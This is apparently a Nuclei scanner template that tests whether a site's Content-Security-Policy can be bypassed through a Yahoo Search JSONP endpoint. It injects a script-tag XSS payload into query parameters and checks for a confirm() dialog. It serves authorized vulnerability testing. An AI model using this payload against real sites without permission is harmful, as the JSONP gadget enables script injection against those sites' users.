yahoo-search-csp-bypass: Content-Security-Policy Bypass - Yahoo Search

id: yahoo-search-csp-bypass

info:
  name: Content-Security-Policy Bypass - Yahoo Search
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,yahoo-search,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "yahoo.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: yahoo_search_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://search.yahoo.com/sugg/gossip/gossip-us-ura/?f=1&.crumb=wYtclSpdh3r&output=sd1&command=&pq=&l=1&bm=3&appid=exp-ats1.l7.search.vip.ir2.yahoo.com&t_stmp=1571806738592&nresults=10&bck=1he6d8leq7ddu%26b%3D3%26s%3Dcb&csrcpvid=8wNpljk4LjEYuM1FXaO1vgNfMTk1LgAAAAA5E2a9&vtestid=&mtestid=&spaceId=1197804867&callback=confirm"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "yahoo_search_csp_xss == true"
# digest: 490a00463044022063eec4b98be8a13b5788179b416b8b460280cb32aa8c8f09a9599fa53740063a0220264f72676ed9a010d6cf09d30ba3cefc15f398a80afda758e6aa72b1a6ce3569:922c64590222798bb761d5b6d8e72950